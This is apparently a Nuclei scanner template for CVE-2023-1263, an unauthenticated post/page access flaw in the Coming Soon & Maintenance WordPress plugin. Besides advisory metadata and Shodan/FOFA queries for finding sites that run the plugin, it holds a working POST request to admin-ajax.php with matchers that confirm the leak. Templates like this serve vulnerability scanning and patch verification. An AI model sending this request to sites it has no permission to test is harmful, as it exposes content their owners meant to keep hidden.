id: CVE-2023-1263

info:
  name: Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not restrict access to published and non protected posts/pages when the maintenance mode is enabled, allowing unauthenticated users to access them.
  impact: |
    Unauthenticated attackers can bypass maintenance mode restrictions to access published posts and pages that should be protected during maintenance.
  remediation: Fixed in version 4.1.7
  reference:
    - https://wpscan.com/vulnerability/2e07ffd9-8e82-4078-96aa-162ef78c417b
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1263
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cmp-coming-soon-maintenance/cmp-coming-soon-maintenance-plugin-by-niteothemes-416-information-exposure
    - https://wordpress.org/plugins/cmp-coming-soon-maintenance/
    - https://plugins.trac.wordpress.org/browser/cmp-coming-soon-maintenance/tags/4.1.6/niteo-cmp.php#L2759
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-1263
    cwe-id: CWE-200
    epss-score: 0.01414
    epss-percentile: 0.70083
    cpe: cpe:2.3:a:niteothemes:coming_soon_\&_maintenance:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: niteothemes
    product: coming_soon_\&_maintenance
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/cmp-coming-soon-maintenance/
    fofa-query: body=/wp-content/plugins/cmp-coming-soon-maintenance/
    publicwww-query: "/wp-content/plugins/cmp-coming-soon-maintenance/"
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,cmp-coming-soon-maintenance,unauth,niteothemes,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=cmp_get_post_detail&id=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"img":'
          - '"date":'
          - '"title":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100db7c61cee99b223a00961b22a0c267f2f441737a07b6d50d493fa08c53351b660220334bff761865dea10468036b8ef0d74ffd72bbcbf010efde1d78f9effd1d7bba:922c64590222798bb761d5b6d8e72950